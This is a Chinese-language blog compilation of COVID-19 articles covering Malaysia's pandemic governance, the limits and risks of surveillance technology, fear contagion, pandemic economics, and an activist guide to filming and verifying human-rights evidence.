在这一点上，马来西亚与低感染率的国家相邻 —— 如印度尼西亚（Dm为55）或泰国（Dm为0.9，总病例数只有3,861！）—— 它的Dm和D/C水平是非常显著的。此外，该国的COVID防御史也比西方大多数国家表现出更多的敏捷和智慧。1月13日泰国第一起感染病例公开后，所有机场都采取了筛查措施，而马来西亚在1月25日才报告了自己的第一起感染案例，远远晚于日本、韩国、美国和台湾。

该国很早就采用了体温测量。根据3月18日的调度令，政府在媒体的配合下，积极传播 “#stay home” 的指令，非政府组织和监狱囚犯为前线人员制作个人防护装备，为防止经济全面下滑的初步财政刺激措施于2月启动。

很早的时候，马来西亚就接受了中国证明的事，即 通过隔离受感染的群体和实行社会疏离，以控制疫情。为了资助新的医院和建立药品储备，卫生部和 Tenaga Nasional Berhad (TNB)成立了一个 “行动联盟”，从马来西亚的企业公司、政府关联公司(GLCs)和其他组织那里获得资金援助，这是一种西方国家尚未真正利用的公私部门资助形式。政府抑制了私人和公共部门之间的任何分歧，直接从社交媒体上寻求帮助，非政府组织（而非私营公司）在早期被用来提供防护口罩、消毒室，并对公民进行COVID-19防疫教育。截至4月11日，马来西亚共报告4346例感染，治愈1830例，比例为42%。11月的数字是32,969 和 45,095，比例为73%。

马来西亚当局远比英国等其他国家更快地认识到了养老院老人的关键问题。早在3月27日，马来西亚政府就推出了 “Prihatin Rakyat Economic Stimulus Package”（PRIHATIN）计划，拨出2500万令吉用于援助养老院，包括现金发放、食品供应和医疗项目，以及一次性支付250令吉给所有政府养老金领取者。

马来西亚将其非常有限的资源用于帮助老年人的比重，比大多数西方国家都要高得多，而且时间也早得多，这显然是其Dm 和 D/C 数字非常低的原因。

超越随意的陈述

「图」

马来西亚的例子详细说明了在迄今不被认为是“模范”的国家所作出的各种积极的防疫反应，显示出比更富裕的西方国家更优越的防疫成果。这种证据本身并不能为所有国家选出一个典范。

通过观察单个案例来挑选典范不太可能有很大的帮助。但似乎可以很清楚的是，作为全球性的典范不一定要在政治结构、收入或经济意识形态方面看起来完全一样。

最好是任何一个国家都能审视自己的情况，选择被认为合适的要素。最好的选择可能是考虑更多的全球情况，但要特别考虑到收入和年龄分布的差异、边界的特点、城市化的密度和水平、以及空气污染的程度。这些要素可能会引导选择朝向类似情况的国家或地区，并且其中防疫表现最佳的国家很可能就是您要找的“典范”。但是，不要太快下结论。

人口年龄结构或边界等要素可能是可以合理识别的客观措施；政治制度和政策则恰恰相反，这些都会随着政权的更迭而变化。摆脱这个看似难题的唯一办法是，首先承认COVID的发生率和死亡率与任何一个国家的官方管理政策之间的关系只有非常微弱的一点点。

仅仅因为这个原因，一个非常好的防疫典范未必就是政治和公民生活的伟大典范，尤其不是议会民主制国家的决策者所定义的那种典范。也许在澳大利亚和日本之间、在印度或马来西亚之间进行选择，不应该如此规范。也许应该在所有要素的背景下仔细权衡国家的防疫表现，承认治理政策可能不是其中最重要的因素。〇

作者：*Ian Inkster* 教授是伦敦大学亚非学院的全球历史学家和政治经济学家，曾在英国、澳大利亚、台湾和日本的大学任教和研究。他著有*13*本关于亚洲和全球动态的书籍，特别是关于工业和技术发展的书籍，并自*2000*年起担任《技术史》的编辑。

Exemplary governance: Which countries should high-COVID nations follow?

原文

监视技术的扩张并无助于防疫 …… 冠状病毒教给人类的东西 - iyouport

COVID-19(84)

【2020年9月1日存档】不是冠状病毒杀死了人权，它只是提醒了人们一直存在的东西

为了应对COVID-19的传播，各国政府正在大举投资，以前所未有的方式扩大监视技术在全球范围内的使用。您可以在下面看到详细报告：

- 《冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》
- 《冠状病毒大流行期间监视状态蓬勃发展》

监视技术监督项目执行总监 Albert Fox Cahn 谈到了这些监视工作在减少疾病传播方面到底有什么用的问题。

1、当包括*COVID-19*的灾难到来时，政府如何使用监视？

我们已经看到很多来自中国的令人震惊的监视做法，尤其是使用广泛的位置跟踪来监视隔离区的遵守情况，并时刻追踪个人出行的做法。中国当局甚至创建了一个新的人工智能驱动的系统，以确定人们是否可以离开家（健康码）。

- 报告《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

在新加坡，当局使用应用程序 TraceTogether 通过蓝牙信标创建联系人跟踪；在意大利、奥地利和美国这样的国家，电信公司向政府官员提供有关民众动向和遵守居家命令的报告；在俄罗斯，当局正在扩大使用面部识别技术对成千上万的外国人和回国旅客执行隔离令。

2、是否有证据表明这些监视系统有助于拉平感染曲线？

证据非常复杂。一些国家已经将其中一些数据收集系统作为拉平感染曲线工作的一部分，并且它们成功地阻止了该病毒的传播。

但是，必须强调，监视并不是他们阻击病毒成功的原因。

如果没有这些技术，他们可能也会获得相同的结果。

因此，我们不应该得出这样的结论，不该认为监视技术是成功的原因。

3、您能否详细说明这对个人意味着什么？

以台湾为例，那里的信息与移民信息、旅行历史和财务信息结合在一起。

如果我们在美国效仿这个榜样，那将是一场噩梦。如果有数以百万计的人认为他们的健康数据将与移民执法联系起来，他们将进一步被逼入阴影。

我们必须有一个绝对的防火墙，必须明确指出，为对抗**COVID-19**而收集的任何信息都不能被用于其他政府行动。但是，直到今天我们也没有任何这方面的保证。

我们已经发现，随着许多新形式的监视技术（尤其是面部识别技术）的出现，人工智能的运行方式可能存在明显的偏差。人们非常有理由担心在用于对抗 COVID-19 的技术中会看到相同的偏见。

- 为什么面部识别不靠谱《说谎的眼睛：根植于维多利亚时代面部识别》

技术错误可能导致人们被剥夺生计或无法获得医疗服务。我们必须非常怀疑将任何技术解决方案集成到医疗服务或诊断中，除非已针对这些偏见进行了测试。

4、对于政府可能如何使用其收集的信息来对抗*COVID-19*，您能否更详细解释有关您的担忧？

美国移民与海关执法局拥有将来自政府和私人数据库的数据武器化的历史，这是其驱逐移民行动的一部分。

他们利用诸如 Palantir 之类的私人公司收集了有关我们所有人的大量数据，以试图识别出不属于移民身份的个人。

他们利用诸如 Palantir 之类的私人公司收集了有关我们所有人的大量数据，以试图识别出每一个人。

这正是美国疾病控制与预防中心聘请的同一家公司，声称 “在收集信息以对抗COVID-19的传播中发挥作用”。

这些公司应该让我们所有人都停下来思考。

[同样，为以色列提供声称 “追踪病毒“ 监视技术的公司NSO，就是杀死华盛顿邮报专栏作家 Jamal Khashoggi 的那帮家伙]

5、关于监控技术公司，您还能告诉我们什么？

我们看到营利性监控技术供应商提出了一些令人难以置信的主张，他们将这场灾难视为赚钱的机会。

他们挺身而出，大肆吹捧他们的监视技术工具，声称他们的监控系统是这场危机的解决方案。但是，尽管我们听到了这样的说法，但并没有太多数据可以证明它。

我们没有看到同行评审的证据，这些工具可以有效地进行广泛的联系人追踪；我们也没有证据表明它们可以很好地用作诊断测试。

我们已经看到一家监视公司甚至声称其红外热像仪可以通过对广阔区域进行扫描来找出谁是COVID-19病毒携带者。但是，我们看不到任何公开披露的证据能支持他们的主张。

的确，Theranos 事件已经过去五年了，但必须持续对这些监视公司的服务声称持怀疑态度 —— 他们曾经声称它们可以帮助阻止这一事件。

6、我们怎样做才能确保技术在抵抗病毒方面发挥积极作用，尤其是确保其不会造成弊大于利？

如果希望看到基于证据的部署技术模型专门帮助应对COVID-19的传播，则需要确保我们拥有一个密码箱，以防止该数据被用于任何其他目的。

它不应该被用于收税；不应成为执行刑法的一部分；不应该被用于镇压异议；当然，也不应该成为移民执法的一部分。

技术工具可以迅速成为压迫和监视的工具，剥夺人们的代理权和尊

严，并助长一种全球性气候，对公民越来越充满敌意。

最重要的是，技术解决方案并未解决流离失所、被迫移民和经济不平等的根本原因 —— 而所有这些都加剧了诸如**COVID-19**之类的全球流行病的蔓延。

即便是在病毒大流行这样的例外情况下，Big Tech 的狂妄自大以为它拥有的所有答案，都不是解决方案。

恐惧比冠状病毒更致命

「图」

随着COVID-19病例的激增，与冠状病毒大流行同时爆发的是恐惧的大流行。

媒体宣布“ 出于对冠状病毒的担忧 ”大规模取消公共活动；电视台播放 “冠状病毒导致恐慌购物 ”的图像 ……

由于现代媒体具有全球性影响力和即时性，因此，恐惧传染的蔓延速度比危险而又看不见的病毒更快。仅仅是看到或听到其他人的害怕也会使您自己感到恐惧，甚至都不必知道是什么引起了其他人的恐惧。

作为一名心理医生和研究人员，Jacek Debiec 经常能看到在临床和实验环境中恐惧的传染有多么的强大。

恐惧蔓延是研究人员在许多动物物种中观察到的一种古老的进化现象。它是一种自我保护，是生存应激能力。

想象一群羚羊在阳光明媚的大草原上放牧。突然，有一只羊感觉到了狮子的逼近。羚羊暂时冻结。然后，它迅速发出警报，尽全力逃离捕食者。转眼间，其他所有羚羊随之奔跑起来。

大脑很难对环境中的威胁做出反应。发出掠食者信号的视觉、气味或声音提示会自动触发第一只羚羊的生存反应：先是静止，然后迅速逃脱。

杏仁核是埋藏在大脑颞叶头部侧面深处的一种结构，是应对威胁的关键。它接收感官信息并迅速检测与危险相关的刺激。

然后杏仁核将信号转发到其他大脑区域，包括下丘脑和脑干区域，以进一步协调特定的防御反应。

这些结果通常称为恐惧、僵持不动、逃跑或战斗。我们人类与其他动物共有这些自动的、无意识的行为。

这就解释了羚羊在嗅探或发现附近的狮子时会感到直接的恐惧。但是恐惧蔓延会迅速再进一步。

一群羚羊的夺命奔逃完全是自动的。然而，它们的逃脱并非直接受到狮子的攻击，而是由他们恐惧的小组成员的举动引起的：整个团体都对个人的恐惧感采取了相应的行动。

像其他动物一样，人类也对身边人表达的恐慌或恐惧非常敏感。人体经过精心调整，可以检测他人的生存反应。

各种实验研究已经确定了称为前扣带回皮层（ACC）的大脑结构对此功能至关重要。它围绕连接大脑左右半球的纤维束。当您看着别人表达恐惧时，您的ACC会亮起。动物研究证实，有关他人恐惧的信息是从ACC传播到杏仁核的，杏仁核在此引发了防御反应。

为什么在社交动物中会自动发生无意识的恐惧传染，这是有道理的。它可以帮助防止由亲属关系束缚的整个群体的灭亡，保护他们所有共享的基因，从而将其传给后代。

然而，恐惧传染不仅是在同一群体或物种的成员之间，也是在物种之间传递防御反应的有效方式。通过进化，许多动物获得了识别其他物种的警报声的能力。例如，众所周知，在许多哺乳动物中，鸟叫会触发防御反应。

恐惧的蔓延是自动和无意识地发生的，因此很难真正控制。

这种现象解释了在音乐会、体育赛事或其他公共聚会中可能发生的大规模恐慌发作。一旦在人群中引发恐惧（也许有人以为他们听到了枪声），其他人完全没有时间或机会验证恐怖的根源。

人们必须像羚羊一样互相依靠。恐惧从一个人传到另一个人，并不断感染每个人。每个人都开始为自己的生命而奔跑。这些群众恐慌常常以悲剧结尾。

恐惧传染不需要与他人直接身体接触。散布恐怖图像和信息的媒体可以非常有效地散布恐惧。

此外，大草原上的羚羊一旦与掠食者保持安全距离，它们就会停止奔跑，但新闻上的恐怖图片会使您感到持续的恐惧。眼前的危险从未消

退。在Facebook、Twitter和24小时新闻始终存在的情况下，恐惧的蔓延无边无际。

毕竟，这是没有办法阻止恐惧蔓延加剧的 —— 毕竟这是自动的和无意识的 —— 但您可以采取一些措施来减轻它。由于这是一种社会现象，因此适用许多支配社会行为的规则。

除了有关恐惧的信息外，有关安全的信息也可以在社会上传播。研究发现，在一个冷静而自信的人面前可能有助于克服通过观察他人而获得的恐惧。

例如，如果有一个冷静的成年人在身边，另一个被陌生动物吓坏的孩子会冷静下来。当您将目光放在身边的人或您所依赖的人身上时，这种安全建模特别有效。

言语仍然很重要。必须明确提供有关危险和安全的信息，并附有直接的操作说明。当您承受巨大压力时，处理细节和细微差别就将变得更加困难。

⚠ 隐瞒重要事实或说谎会增加不确定性，而不确定性则会增加恐惧和焦虑。

不是冠状病毒杀死了人权，它只是提醒了人们一直存在的东西

「图」

位置追踪、蜂窝塔、Wi-Fi跟踪、人脸识别、三角定位、热成像、无人机、智能家居语音服务、监视手环脚环 …… 这些在疫情期间被全球当权者深度利用的监视追踪工具，事实上并没有创新，它们都是一直存在的东西。

那么，问题是，冠状病毒疫情 “激发” 的监视技术大跃进，是否能提醒人们，帮助更多人警觉到这些身边一直存在的1984？

在大多数国家/地区，仅对法律进行少量修订就足以引入Covid-19监视，这通常会对侵犯人权敞开大门。

一个糟糕的 “新常态”开始了。在这里，隐私不再是问题，甚至不再是令人焦虑的 “烦扰”。请记住，这一切都是为了更大的利益 —— 当权者的利益，不是你我的。

如果说隐私的历史能教给我们什么的话 —— 隐私随着公民对政府入侵的奋力抵抗而演变的历史 —— 它基本上将人身保护令的保护范围扩展到个人的私域。如果要让隐私作为基本人权继续生存下去，就需要增强人民的力量来抵抗公域或私域的入侵者，无论是政府还是互联网公司。

不幸的是，大多数隐私资金投入更关注起草或评论法规，而不是重新概念化基本的隐私权。技术社区比隐私和数据保护机构更能提供真正的保护工具。

☞Covid-19 危机是一个动员基层努力的机会，为任何一种紧急情况重塑隐私人权准则的机会 —— 直接行动。如果公民不能做到，暴政者将变本加厉，一切都是为了他们的“更大的利益”。

冠状病毒教给人类的东西

「图」

COVID-19 疫情提供了耐人寻味的见解，说明这个现代世界已经变得多么的网络化，以及，如何用复原力换取经济效率。

案例：2019年12月有人在中国生病，到2020年3月，美国页岩油产业濒临崩溃。这其中的关联链是什么？

- 2020年1月：冠状病毒疫情爆发，迫使中国实行大规模检疫。
- 由于成千上万的人呆在家里，以及成千上万的企业下线，中国的石油需求暴跌。
- 3月7日：沙特阿拉伯要求其OPEC合作伙伴和俄罗斯削减石油产量，以防止价格暴跌。
- 3月9日：俄罗斯拒绝，因此沙特决定通过生产更多的石油并打折出售来引发价格战。
- 结果，世界石油价格从50美元（2月17日）跌至33美元（3月9日）。
- 同时，可以说价格战对美国而不是俄罗斯的伤害最大。作为世界上最大的石油生产国之一，近年来，美国几乎所有惊人的石油产量增长都来自压裂生产的轻质致密油。但是压裂是昂贵的。即使价格上涨，压裂行业仍在努力从这种非常规石油资源中获利。
- 随着油价趋向于30美元甚至更低，即使是效率最高的压裂公司，也无法使投资者满意。因此，数十家美国国内石油生产商将破产（除非特朗普政府能拯救他们）。

是什么引起了这种混乱？是中国有意的（而且可能是必要的）从经济联系中撤出。

这便告诉我们有关网络系统的一些有用信息：除非它们中内置了很多冗余，否则，网络中的任何一个节点都会影响其他节点。

如果这是一个重要的节点 —— 中国已成为世界制造业的中心 —— 那么它可能会破坏整个系统。那么，冗余实际上意味着什么？

如果美国在本地生产更多产品，那么就不必太依赖中国。如果美国在本地生产更多的能源，那么美国的能源系统可能会包括更多的冗余（通过更多类型的能源），结果世界能源经济将更具弹性。问题仍然会出现，但是它们不太可能影响整个系统。

因此，冗余很重要。但是，冗余是经济效率的敌人。

在过去的几十年中，经济工程师创建了及时的供应链，以最大程度地降低仓储成本，并延长了供应链，以获取最便宜的劳动力和材料。

很好，每个人都可以买到便宜的产品，中国经济以惊人的速度增长。但是，当国际供应线中断时，忽然之间每个人都需要N95口罩时，会发生什么？官员们无法仅仅打电话给当地的口罩工厂订购新一批产品，那家工厂可能几年前就已经关门了。

这只是冠状病毒大流行对全球网络化经济提出严峻挑战的方式之一，而我们的网络经济也使减慢病毒传播的努力复杂化了。

当您开始考虑更多网络时，情况确实令人生畏。如果数以百万计的人被隔离，没有人愿意和很多陌生人住在一起，旅游业会怎样？航空公司呢？餐厅和连锁酒店？甚至几周的业务量急剧减少可能对其生存来说就是致命的。

因此，政府领导人和金融界的大师们 —— 中央银行家 —— 每天都在拼命绞尽脑汁，试图弄清楚如何使目前（在美国）仅仅是股市井喷的情况避免演变成严重的经济萧条。

不幸的是，可供使用的工具可能无法胜任工作。那是因为核心问题（病毒大流行）本质上不是财务问题。

大约70％的美国经济是直接由消费者支出驱动的。但是，通过降低利率或政府发钱给人们，并不会使人们突然决定去乘船游览、预订航班、甚至在周五晚上出去吃饭和看电影。

但这不是最近最值得担心的。相反，这是冠状病毒流行的社会层面。在优先考虑股东价值和利润快速增长的经济模式中，金融危机是不可避免的。

在基于对现实的根本性错误理解的经济中，金融危机是更加不可避免的。这种疯狂的假设是，资源开采、制造和废物倾倒的增长可以在有限的星球上无限期地继续。

多年来，许多生态思想家已经提出了这一点。但是，对这种固有的脆弱性的回应是，“加强社区的适应力”。

这意味着要支持当地的农民、制造商、商人、艺术团体和各种民间组织。信任是使我们能够渡过未来风暴的货币，信任主要是通过社区内部的面对面互动而建立的。

但是，对新型冠状病毒的必要反应是社会疏离 —— 即 减少面对面的人际关系。

当人们自愿退出公共聚会，或因区域隔离而被迫撤离时，不仅是社区，当地艺术组织、以及当地餐馆、农贸市场和商人们必将感受到严重的影响。体育赛事和音乐会被取消，公众与地方和国家政治的直接交往也受到影响。公共交通系统正在排空。

我们需要考虑下一种方法，使公民连接在未来一段时间内保持活跃的方法。

大流行不会无限期地持续下去：病毒本身可能永远存在，但它与人类将以某种方式协商出某种生物适应性。人类很可能会在疫苗的帮助下实现群体免疫。而我们的紧急任务是，如何在过渡期间保持我们社区的健康和弹性。

非常推荐一个最近的热门歌曲，反社会疏离运动 —— 人们之间必须保持连接，民主才能延续：

当然，我们仍然拥有互联网和社交媒体。我们应该充分利用它们，即使在 “正常” 时期，这些媒介通常也会使人们从面对面的互动中分散注意力或降低社交技能。

而目前，我们不仅可以使用这些工具来了解新闻，还可以与我们关心的所有人保持同步。甚至有创新的社区管理者已经开始利用在线视频会议与成员及邻居保持联系。

幽默可以帮助您从情感上处理困难的信息（尽管使用它可能很棘手，如上所述，目前许多人的恐慌情绪是原始的）。

有很多需要处理的事，而不仅仅是担心感染。我们需要取消假期吗？我应该去上瑜伽课还是呆在家里？如果由于隔离而在接下来的一段时间内都无法工作，我该如何维持生计？我们应该打乱多少例行活动？我的公司应该做更多的工作来保护员工和客户吗？……

这些问题以及更多的问题正在加剧配偶之间、父母与子女之间、同事之间、以及雇主与雇员之间的人际关系紧张。

当需要采取行动时，常态偏见和拒绝会导致自满，而恐慌会导致选择不当，并导致朋友和同事对自己真正关心的事情不屑一顾。

一种解决方案是让朋友，邻居，同事和家人参与有关该病毒的对话，积极倾听他们的疑虑，并在亲社会的方向上轻轻地引导这些对话，考虑到情况的严重性以及我们需要做出的行为改变。

具有讽刺意味的是，目前最亲社会的行为被认为是待在家里。同时，做一些常识性的准备工作：准备好足够的补给品以使您能度过一个月，然后考虑要做什么。

请记住：人类在流行病中幸存下来的历史每一步的状况都比现如今更糟糕。在 William Shakespeare 作为演员和作家的职业生涯早期，伦敦剧院因枢密院的命令而关闭（1592年6月23日），因为担心瘟疫的爆发和传播，尤其是内乱的可能性。但是剧院于1594年6月重新开放，莎士比亚继续写他最著名的戏剧。像莎士比亚那样，我们将解决这个问题。

关系会在很长一段时间内继续紧张。不仅是人际关系，还有人际与地方的关系、经济和全球的关系。我们需要养育最重要的连接，同时，为无法再依赖的连接找到备份。

我们最需要的和最看重的什么？我们如何互相支持？这些如今人们需要问自己的问题，至少你现在有很多时间在家中进行思考。〇

Open Society’s International Migration Initiative’s Monica Greco spoke to Albert Fox Cahn, the executive director of the Surveillance Technology Oversight Project, about how effective these surveillance efforts have been in curtailing the spread of the disease.

Richard Heinberg is a senior fellow at the Post Carbon Institute and the author of thirteen books, including his most recent:Our Renewable Future. Previous books include: Afterburn: Society Beyond Fossil Fuels, Snake Oil: How Fracking's False Promise of Plenty Imperils Our Future; The Party's Over: Oil, War, and the Fate of Industrial Societies; Peak Everything: Waking Up to the Century of Declines; and The End of Growth: Adapting to Our New Economic Reality.

原文

（6）灾难中捍卫人权的技巧指南：公民活动家如何在COVID19期间记录真相 - iyouport

COVID-19(84)

（2020年9月25日存档）这一指南应该适合任何突发事件中的公民行动，而不只是流行病

拍摄和分享涉及人权的事件记录，可以揭露不公正现象、聚焦鲜为人知的故事、尤其是动员抵抗运动，以令肇事者和当权者负责。

但如果平常情况下追究人权问题的责任是危险的，那么在冠状病毒大流行的情况下更是如此。

上图中这本书在这里下载：https://www.patreon.com/posts/wei-ji-he-li-wei-38320578

在疫情期间的记录权

「图」

“记录权” 指的是：能够拿起相机或手机拍摄警察或军事人员的行为，而不会遭受报复的权利。

也包括行使这项权利所需要的主动性、承诺、态度和勇气，组织团体也正在努力实现这一目标。

记录权通常与公共场合相关联 —— 在世界各地的抗议活动中、在贫民窟和郊区、集中营和审讯室，以及任何发生侵犯人权行为的地方。

要明确这点，“记录权” 不仅限于街上。实际上，即使如今许多人由于 **COVID-19** 而被迫限制活动，行使这项权利也比以往任何时候都更加重要。

如果不是勇敢的医护人员制作的视频，人们不会理解这场危机的影响的全部方面，尤其是糟糕的政策对弱势群体造成的不成比例沉重代

价。

全世界的人们已经看到大流行被用作创建和加强专制政府和政策的借口，不仅包括众多专制国家，也包括美国那样的所谓民主国家、以及匈牙利那样的欧盟成员。

- 详细报告《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱》

全世界的警察和军事部门也都在实施封锁措施。他们没有以公平的方式这样做，更不用说遵循国际人权法所要求的必要和相称原则了。他们根本不尊重人权。

当前急需将这一切记录在案，以便可以声讨权利和追究责任。已经有很多案例被记录，例如南非的强迫迁离、美国监狱和拘留中心的不人道状况、以及巴西无家可归者的危险状况。

法律观念和社会正义观念都很重要：毕竟，如果政府不尊重法律赋予公民的“权利”，法律的“权利”就不再重要，就没有任何法律能够保护社区为行使这项权利而采取的勇气、态度和主动性。

一般安全原则

「图」

如果您想行使自己的记录权，请记住以下几点：

1、您可以突破隔离规定以拍摄记录，但这不是被建议的。请务必注意安全，并请记住，如果视频表明您“没有正当理由”而突破隔离，那么当权者可以将视频本身用作证据证明您违反了法律。

2、如果您在街上拍摄并在他人可以看到您的地方拍摄，则无论记录权是否得到法律承认，都请与他人保持足够距离。至少可以确保他人在没有警告的情况下抢走您的相机或手机变得更加困难。

请记住，记录警察暴行为的人经常面临报复。这在任何国家都是如此。

3、如果警察阻止您拍摄、命令您退后，您可以向后退几步，然后大声说出来，以便在录像中能听到“我正在退后，警官”。

4、拍摄时，您可能需要设置自动备份。这样，即使您的手机被扣

押，您也不会丢失文档。

但是请记住，备份到云可能会使数据容易被警察拿到。见下面的解释。

- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

5、直播是一种强大的工具，但是很危险。直播时您无法编辑视频以模糊受害人的面孔。所以您需要一些技巧。

6、记录权的法律状态因国家而异。这里有一个记录权地图，可能包含有关您所在国家/地区的相关法律信息。

7、拍摄完成后请务必注意发布问题。请记住，在有些国家拍摄或随后分发可能是非法的。即使拍摄和发布都是合法的，您仍然可能会遭受报复（例如在美国）。

最后，即使您本人的匿名状态很好，在您的视频中出现的人也可能会遭受报复。您需要考虑这点，并有一个明确的道德准则 —— 与您所在团队的所有人共同遵守。

8、秘密拍摄在许多地方都是非法的，但对于记录人权侵犯来说，它可能是您唯一的选择。美国也一样。您所在国家/地区的类似法律也可能涵盖对秘密拍摄的规定。您需要先了解清楚。

如果您要分享这些视频记录

「图」

在您分享视频记录之前请问自己以下问题：

- 视频中有可识别出身份的人吗？他们是什么形象？那些人知道自己正在被拍摄吗？如果被广大观众看到，他们在镜头中的出现会对他们自己或他们的社区产生怎样的影响？
- 拍摄视频的意图是什么？是为了记录侵权行为而拍摄的吗？它是否煽动了仇恨或恐惧、或美化了暴力？
- 谁是目标受众？该视频是准备被广泛地传播收看，还是为了特定范围内的观众群体所拍摄的？
- 视频中是否包含令人震惊的图像？这样的图像是没什么必要的还是对记录特定事件至关重要？您如何在观众观看之前警告他

们其中包含此细节？
- 您确定视频是真实的吗？视频是否可能被操纵或被误解以至于形成误导？
- 分享该视频的目的和受众范围是什么？分享视频的潜在利益是否超过潜在风险？

作为记录者，您需要在您的组织内创建准则，以确定如何以道德的方式捕捉和分享视频。

以下是一些需要准备好答案的问题：

- 您什么时候可以保护被拍摄者的隐私和匿名性？您会帮助遮盖虐待受害者的面孔吗？（儿童？维权人士？）
- 您将如何公开分享视频片段？链接到原始在线视频吗？将视频嵌入到您的在线内容中吗？还是在自己的频道上创建新版本？
- 您将如何向观众指示素材的来源和背景？
- 如果您还没有确定视频的真实性，那么您如何决定是否使用它、以及如何向观众指出其不确定性？

记录防疫期间的过度权力使用

「图」

政府可以依法限制行动，但是命令和行动必须必要且相称。防疫不是过度使用武力、缺乏透明度、歧视或暴力针对边缘化社区的借口。

如果您发现当权者超出了权力边界，您应该记录下这些证据。

首先，了解您所在国家/地区有关记录和研究权利的规则，并分析它们在大流行等紧急状态下可能受到的影响。

要注意您的拍摄中需要包含必要的证据细节：

- 警察官员的人数、他们的位置、制服、武器、车辆、车牌、路障
- 被损害的平民财产
- 尽可能捕获时间、日期、以及任何有助于验证地理位置的参考元素
- 拍摄受害者相对于警察的位置。受害人举起双手向警察投降，但仍被枪杀致死，这一要点必须清晰被体现
- 保持每次拍摄间隔10秒钟；如果距离较远，请按远处的物体进

行对焦
- 缩放会扭曲图像，避免这样做（或将照相机靠在坚固的表面上）
- 现场是否有其他摄像机（监视相机、警用摄制器材）把它们包含进去
- 富人区与贫困地区的警务对比：警察保持着规定中的距离吗？戴着口罩吗？是否使用了致命武器？

在这里下载完整指南。

拍摄人权自述视频

「图」

当全球关注的焦点被集中在政府主导的主流媒体叙事上时，活动家社区的故事可能会被压制和忽视，甚至更糟。

如果您想通过录制视频来讲述自己的故事，这里有一些如何使视频外观和声音达到最佳效果的提示。

- 开始拍摄时，请先至少等待5秒钟，然后再开始对着手机讲话，然后在结束录制之前再等待5秒钟。这将帮助您进行编辑；
- 将相机支撑在平稳的表面上（如果可以的话请使用三脚架）。Instagram 和 Snapchat 等许多应用程序都提供了 “hands-free” 选项，您无需按下按钮即可进行拍摄。您可以使用该应用来拍摄视频，然后将其下载到您的相机中。只要确保不将其公开发布到应用程序即可；
- 如果在室内拍摄，请坐在窗户附近，但要确保窗户/光线来自您的前方（手机/计算机的后方）。这将有助于在您的脸上提供良好的光线；
- 如果在室外拍摄，光线应该是很好的，但要确保周围环境不要太嘈杂；尽量避免在正午时间进行拍摄，因为那样会在您的脸上投射更多阴影；
- 将手机/相机放置在与您视线齐平或稍高的表面上，以使您看起来像在平视相机并直接与他人讲话。您可能需要一些支撑物以帮助将设备提升到合适的水平（垫一堆书就能做到）；
- 在拍摄时，最好在背景中有一定深度，而不是直接坐在墙边上；
- 如果可能的话，尝试找到一个安静的拍摄地点。躲避警笛和汽车鸣笛等外部背景噪音。还要提防内部噪音，例如儿童、鱼缸或空调等；

- 如果您无法进入安静的空间或没有带麦克风的耳机，则应将手机尽可能靠近脸部;
- 如果可能，请尝试添加有助于人们形象化地描述您的内容的素材。例如，如果您谈论的主题是食物短缺，那么杂货店的空架子或排长队的背景画面可能会有所帮助。您也许还可以使用免费的素材库。

记录远程视频或音频采访

「图」

被监禁的个人及其家人发布了有影响力和有效的视频证词，以展示监狱和拘留所中的虐待行为，记录这些证词很重要，以便更好地保护他们的权利并敦促当局放人。

基于与受影响社区和反抗运动合作的经验教训，美国的团队调整了指南，以帮助更多的人学习如何记录远程音频和视频采访以协助维护人权。

在唯一的通信方式可能是屏幕或手机的情况下，这些技巧将帮助您进行远程采访并选择可用于录制的工具。

在这里下载说明。

更多详细技巧和防护知识可见：

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》

尽可能不要分享错误的信息

「图」

冠状病毒大流行已经极大地改变了全球卫生状况、运输基础设施以及经济。同时，它也对信息领域产生了巨大影响，导致大量虚假的或误导性信息充斥互联网，被称为“信息流行病”。

在危机中，人们会很自然地希望通过与朋友或家人分享防疫提示来提供帮助。但是请记住，不正确的信息只会引起过度恐慌，并导致增加感染病毒的风险。

这里有一些技巧，可帮助您验证在线观看的图像和视频，并记住，任何时候如果有疑问，请在共享之前进行检查。

1、您肯定已经知道，大多数错误信息都是通过对旧视频简单地添加新描述而产生的，这很容易做到，只需几秒钟，而且很容易骗人，尤其是在疫情的大环境下，人们倾向于宁信其有。

您可以做的最好的事之一就是放慢脚步："暂停" 一会儿，仔细思考一下。您如何确定图像或视频是真实的？如果不是，您的分享是否会让别人更加恐惧，或令更多人受到伤害？一旦您花了一些时间开始认真思考，接下来的一些技巧将有所帮助。

2、您可能并不总是知道一张图片或一个视频的来源，但如果您知道如何调查来源，将对验证内容有很大的帮助。

如果来源是社交媒体，检查发布者账户中的描述，并寻找位置标签。

该账户是最近才创建的吗？如果是，这可能是一个危险的信号（虽然不总是如此）。该账户的其他帖子与你看到的内容中的细节一致吗（例如，分享视频的人真的是军事官员、医生吗，如果他们没有认证身份）？他们真的住在他们声称内容来自的同一个城市或国家吗？如果不是，那就不是一手资源，他们也是分享者，并有可能搞错状况。

当发布者账户的详细信息与发布的内容不一致时，你应该警惕分享。

如果信息来源是一个聊天应用，可能信息会较少，但你仍然可以调查。如果信息是被转发的，你可以问问转发者是在哪里找到的？如果是在群里发布的，那么这个群是否有良好的信息来源记录，还是容易出现谣言？

这都是最基本应该做到的。

3、全世界的记者都在努力对战冠状病毒危机。这意味着重大事件不太可能没有在任何新闻来源中进行报道。例如，如果您看到一段视频声称 "坦克正在某某道路上制造路障"，请搜索是否可以在网上找到任何其他证据。

当然，并不是每个故事都会在新闻中被报道。但是，如果一个图像或视频声称了一个重大事件，而又没有其他报道的记录，那就要对其产生怀疑。

4、虽然图像或视频的焦点通常是发生在其中的故事，但是背景中的

细节往往揭示了更多关于拍摄时间和地点的信息，并可能证明发布者的描述是否具有误导性。

例如，如果能看到店面，那么这些店面是否与视频发布者所声称的事发国家/地区的商店特征相符？路牌是否使用了正确的字体和图标？其中人们的衣着风格是否是所声称的那个地区的风格？季节相符吗？……

5、如果您有时间进行一些真正的调查，使用图像或视频搜索可以是一个很好的方法，看看一个视觉媒体是否曾经出现在网上的其他地方。

对于静态图像，工具在这里。

对于视频，Google Chrome浏览器的 InVid 插件提供了一个强大的视频搜索途径，可以与 Twitter、Facebook 和 YouTube 一起使用。

